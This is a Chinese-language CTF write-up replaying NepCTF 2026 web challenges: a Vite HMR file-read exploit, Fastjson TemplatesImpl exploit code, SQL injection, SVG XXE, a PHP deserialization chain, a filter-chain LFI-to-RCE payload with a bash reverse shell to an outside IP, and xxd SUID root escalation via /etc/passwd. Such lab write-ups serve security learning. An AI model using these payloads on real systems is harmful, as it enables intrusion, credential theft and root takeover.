2026nepctf复现
挂钩都在干什么呢?
CVE-2026-39363
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| const target = ''
const ws = new WebSocket(target, 'vite-hmr')
ws.onopen = () => {
ws.send(JSON.stringify({
type: 'custom',
event: 'vite:invoke',
data: {
name: 'fetchModule',
id: 'flag',
data: ['/flag?raw', null, {}],
},
}))
}
ws.onmessage = (event) => {
const msg = JSON.parse(event.data)
const code = msg?.data?.data?.result?.code }
if (code) {
console.log(code)
ws.close()
}
|
文档编辑系统
弱密码admin/admin123登入,最开始测试注册和登入普通用户,发现cookie是JSESSIONID,所以肯定是java
然后后台是个文档编辑系统,不难想到是fastjson
还是一样先探测一下是否是fastjson,测试dns
1
| {"@type":"java.net.InetSocketAddress"{"address":,"val":"wxgdolnimumjztxypzjhsni7xikh0qyu1.oast.fun"}}
|
不出网,不过可以确定是fastjson了

这里不知道有无tomcat,不知道有无bcel依赖,所以不出网只能打TemplatesImpl链试试
1
| {"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["base64的字节码"],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}
|
掏出祖传exp吧
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
| import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import java.util.Base64;
public class TemplateImplAttack {
public static void main(String[] args) throws Exception {
final String TEM_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
byte[] bytecode = generatePayload();
String evilCode = Base64.getEncoder().encodeToString(bytecode);
String payload = "{\"@type\":\"" + TEM_CLASS + "\",\"_bytecodes\":[\"" + evilCode + "\"],\"_name\":\"a.b\",\"_tfactory\":{},\"_outputProperties\":{}}";
System.out.println(payload);
// JSONObject object = JSON.parseObject(payload, Feature.SupportNonPublicField);
}
public static byte[] generatePayload() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("Test");
cc.setModifiers(Modifier.PUBLIC);
cc.setSuperclass(
pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet")
);
String cmd =
"java.lang.Runtime.getRuntime().exec(" +
"new String[]{\"/bin/sh\",\"-c\"," +
"\"env > /app/upload/b.txt\"});";
cc.makeClassInitializer().insertBefore(cmd);
// 公共无参构造函数
cc.addConstructor(
CtNewConstructor.make(
"public Test() { super(); }",
cc
)
);
String dom =
"com.sun.org.apache.xalan.internal.xsltc.DOM";
String exception =
"com.sun.org.apache.xalan.internal.xsltc.TransletException";
String handler =
"com.sun.org.apache.xml.internal.serializer.SerializationHandler";
String iterator =
"com.sun.org.apache.xml.internal.dtm.DTMAxisIterator";
// transform(DOM, SerializationHandler[])
cc.addMethod(
CtNewMethod.make(
"public void transform(" + dom + " document, "
+ handler + "[] handlers) throws "
+ exception + " {}",
cc
)
);
// transform(DOM, DTMAxisIterator, SerializationHandler)
cc.addMethod(
CtNewMethod.make(
"public void transform(" + dom + " document, "
+ iterator + " iterator, "
+ handler + " handler) throws "
+ exception + " {}",
cc
)
);
return cc.toBytecode();
}
}
|
然后发包

虽然这边400了
但是还是写入txt了,由于题目提示文档都写在upload目录下,而普通用户有预览的功能

web?re?
注册用户登入后发现没啥功能点,而且admin不能通过cookie伪造来伪造身份,尝试弱密码也是不行的,最后测试sql注入,发现邮箱这个位置是可以注入的
1
| 1@' UNION SELECT 1, username, password FROM users--
|
非常神奇的是好像只能这样写才行,也不知道为什么用其他字段都不回显

拿到admin密码登入就可以文件上传,提示可以svg上传,考虑xxe了
1
2
3
4
5
6
7
8
9
| <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg"
width="800"
height="600">
<text x="10" y="30">&xxe;</text>
</svg>
|

可以预览解析结果,确实读到文件了

但是没办法直接读flag,选择内网端口探测一下
80端口拿到一串php源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
| class test{
public $readflag;
public $f;
public $key;
public function __construct(){
$this->readflag=new class{
public function __construct(){
if(isset($_GET['file'])){
$GLOBALS['file']=$_GET['file'];
}
}
public function __wakeup(){
phpinfo();
}
public function readflag(){
function readflag(){
if(isset($GLOBALS['file'])){
$file=$GLOBALS['file'];
base64_encode(include($file));
}
}
}
};
}
public function __wakeup(){
if(is_array($this->f)){
$new=[];
foreach($this->f as $k=>$v){
if(is_string($v)){
$new[$k]=strval($v);
}elseif(is_object($v)){
$new[$k]=clone $v;
}else{
$new[$k]=$v;
}
}
$this->f=$new;
}
if(is_string($this->readflag)){
$this->readflag=strval($this->readflag);
}
if(is_string($this->key)){
$this->key=strval($this->key);
}
}
public function __destruct(){
$func=$this->f;
$GLOBALS['filename']=$this->readflag;
if($this->key=='class'){
new $func();
}else if($this->key=='func'){
$func();
}else{
echo base64_encode(file_get_contents('index.php'));
}
}
}
$ser=isset($_GET['land'])?$_GET['land']:'O:4:"test":N';
@unserialize($ser);
|
依旧php匿名类问题,这里ai其实已经能梭哈了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
| <?php
class test
{
public $readflag;
public $f;
public $key;
}
// This name is produced by the anonymous class inside eval() in the target.
$anonymousClass = "class@anonymous\0/var/www/html/index.php(1) : eval()'d code:1\$0";
$t1 = new test();
$t1->readflag = null;
$t1->f = 'test';
$t1->key = 'class';
$t2 = new test();
$t2->readflag = null;
$t2->f = [$anonymousClass, 'readflag'];
$t2->key = 'func';
$t3 = new test();
$t3->readflag = null;
$t3->f = 'readflag';
$t3->key = 'func';
$serialized = serialize([$t1, $t2, $t3]);
|
首先构造三个test对象
| 对象 | f | key | 作用 |
|---|
t1 | test | class | 析构时执行 new test(),触发 __construct() |
t2 | [匿名类名, readflag] | func | 调用匿名类的 readflag() 方法 |
t3 | readflag | func | 调用前一步动态定义的全局函数 |
然后匿名类那一串的含义
1
| $anonymousClass = "class@anonymous\0/var/www/html/index.php(1) : eval()'d code:1\$0";
|
首先匿名类类名就是class@anonymous,然后后面到index.php要写明来源,(1)就是第一行,然后eval()'d code:通过 eval()执行的代码,还是指明在第一行,$0就代表第一个匿名类
接下来想要rce,可以看到有include,先读maps和libc

但是好像没成,不过感觉是平台环境问题。作者给出一条payload,非常神奇
1
2
3
4
5
6
7
| <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
<!ENTITY flag SYSTEM "http://127.0.0.1:80/?land=a%3A3%3A%7Bi%3A0%3BO%3A4%3A%22test%22%3A3%3A%7Bs%3A8%3A%22readflag%22%3BN%3Bs%3A1%3A%22f%22%3Bs%3A4%3A%22test%22%3Bs%3A3%3A%22key%22%3Bs%3A5%3A%22class%22%3B%7Di%3A1%3BO%3A4%3A%22test%22%3A3%3A%7Bs%3A8%3A%22readflag%22%3BN%3Bs%3A1%3A%22f%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A62%3A%22class%40anonymous%00%2Fvar%2Fwww%2Fhtml%2Findex.php%281%29+%3A+eval%28%29%27d+code%3A1%240%22%3Bi%3A1%3Bs%3A8%3A%22readflag%22%3B%7Ds%3A3%3A%22key%22%3Bs%3A4%3A%22func%22%3B%7Di%3A2%3BO%3A4%3A%22test%22%3A3%3A%7Bs%3A8%3A%22readflag%22%3BN%3Bs%3A1%3A%22f%22%3Bs%3A8%3A%22readflag%22%3Bs%3A3%3A%22key%22%3Bs%3A4%3A%22func%22%3B%7D%7D&file=php://filter/convert.iconv.UTF8.CSISO2022KR/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.CSGB2312.UTF-32/convert.iconv.IBM-1161.IBM932/convert.iconv.GB13000.UTF16BE/convert.iconv.864.UTF-32LE/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.L5.UTF-32/convert.iconv.ISO88594.GB13000/convert.iconv.GBK.UTF-8/convert.iconv.IEC_P27-1.UCS-4LE/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.865.UTF16/convert.iconv.CP901.ISO6937/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.SE2.UTF-16/convert.iconv.CSIBM1161.IBM-932/convert.iconv.MS932.MS936/convert.iconv.BIG5.JOHAB/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.851.UTF-16/convert.iconv.L1.T.618BIT/convert.iconv.ISO-IR-103.850/convert.iconv.PT154.UCS4/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.JS.UNICODE/convert.iconv.L4.UCS2/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.INIS.UTF16/convert.iconv.CSIBM1133.IBM943/convert.iconv.GBK.SJIS/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.PT.UTF32/convert.iconv.KOI8-U.IBM-932/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.CP-AR.UTF16/convert.iconv.8859_4.BIG5HKSCS/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.IBM869.UTF16/convert.iconv.L3.CSISO90/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.L5.UTF-32/convert.iconv.ISO88594.GB13000/convert.iconv.CP950.SHIFT_JISX0213/convert.iconv.UHC.JOHAB/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.CP861.UTF-16/convert.iconv.L4.GB13000/convert.iconv.BIG5.JOHAB/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.L5.UTF-32/convert.iconv.ISO88594.GB13000/convert.iconv.CP950.SHIFT_JISX0213/convert.iconv.UHC.JOHAB/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.INIS.UTF16/convert.iconv.CSIBM1133.IBM943/convert.iconv.GBK.BIG5/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.CP1162.UTF32/convert.iconv.L4.T.61/convert.iconv.ISO6937.EUC-JP-MS/convert.iconv.EUCKR.UCS-4LE/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.PT.UTF32/convert.iconv.KOI8-U.IBM-932/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.JS.UNICODE/convert.iconv.L4.UCS2/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.SE2.UTF-16/convert.iconv.CSIBM921.NAPLPS/convert.iconv.855.CP936/convert.iconv.IBM-932.UTF-8/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.CN.ISO2022KR/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.JS.UNICODE/convert.iconv.L4.UCS2/convert.iconv.UCS-2.OSF00030010/convert.iconv.CSIBM1008.UTF32BE/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.CSGB2312.UTF-32/convert.iconv.IBM-1161.IBM932/convert.iconv.GB13000.UTF16BE/convert.iconv.864.UTF-32LE/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.SE2.UTF-16/convert.iconv.CSIBM1161.IBM-932/convert.iconv.BIG5HKSCS.UTF16/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.PT.UTF32/convert.iconv.KOI8-U.IBM-932/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.SE2.UTF-16/convert.iconv.CSIBM1161.IBM-932/convert.iconv.BIG5HKSCS.UTF16/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.SE2.UTF-16/convert.iconv.CSIBM921.NAPLPS/convert.iconv.855.CP936/convert.iconv.IBM-932.UTF-8/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.8859_3.UTF16/convert.iconv.863.SHIFT_JISX0213/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.CP1046.UTF16/convert.iconv.ISO6937.SHIFT_JISX0213/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.CP1046.UTF32/convert.iconv.L6.UCS-2/convert.iconv.UTF-16LE.T.61-8BIT/convert.iconv.865.UCS-4LE/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.MAC.UTF16/convert.iconv.L8.UTF16BE/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.CSIBM1161.UNICODE/convert.iconv.ISO-IR-156.JOHAB/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.INIS.UTF16/convert.iconv.CSIBM1133.IBM943/convert.iconv.IBM932.SHIFT_JISX0213/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.iconv.SE2.UTF-16/convert.iconv.CSIBM1161.IBM-932/convert.iconv.MS932.MS936/convert.iconv.BIG5.JOHAB/convert.base64-decode/convert.base64-encode/convert.iconv.UTF8.UTF7/convert.base64-decode/resource=/etc/passwd&1=system(%22bash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F120.xx.xxx.xxx%2F2333%200%3E%261'%20%3E%2Fdev%2Fnull%202%3E%261%20%26%22);exit;">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="800" height="200">
<text x="10" y="40">&flag;</text>
</svg>
|
这一串居然能反解出<?php eval($_GET[1]);?>a,然后进行反弹shell,重启好几次环境才成功反弹shell
搜了一下上面这一坨是老trcik了:LFI2RCE via PHP Filters - HackTricks
拿到shell之后没权限读flag,考虑提权
1
2
3
4
5
6
7
8
9
10
11
| www-data@ret2shell-22-833-1786238865:/var/www/html$ find / -user root -perm -4000 -print 2>/dev/null
<l$ find / -user root -perm -4000 -print 2>/dev/null
/usr/bin/umount
/usr/bin/mount
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/su
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/xxd
|
这个xxd命令很可疑啊,作者预期解法是查看bashrc和history里面有预留好的sendflag,按照逻辑设置好key就能拿到flag
xxd反向模式拿root
1
2
3
4
| cp /etc/passwd /tmp/passwd.1
printf '\ntest::0:0:TEST:/root:/bin/sh\n' >> /tmp/passwd.1
/usr/bin/xxd -p -c 10000 /tmp/passwd.1 > /tmp/passwd.1.hex
/usr/bin/xxd -r -p /tmp/passwd.1.hex /etc/passwd
|
由于 PAM 配置启用了pam_unix.so nullok然后这里空密码账号直接切换
最后在环境变量找到flag:cat /proc/1/environ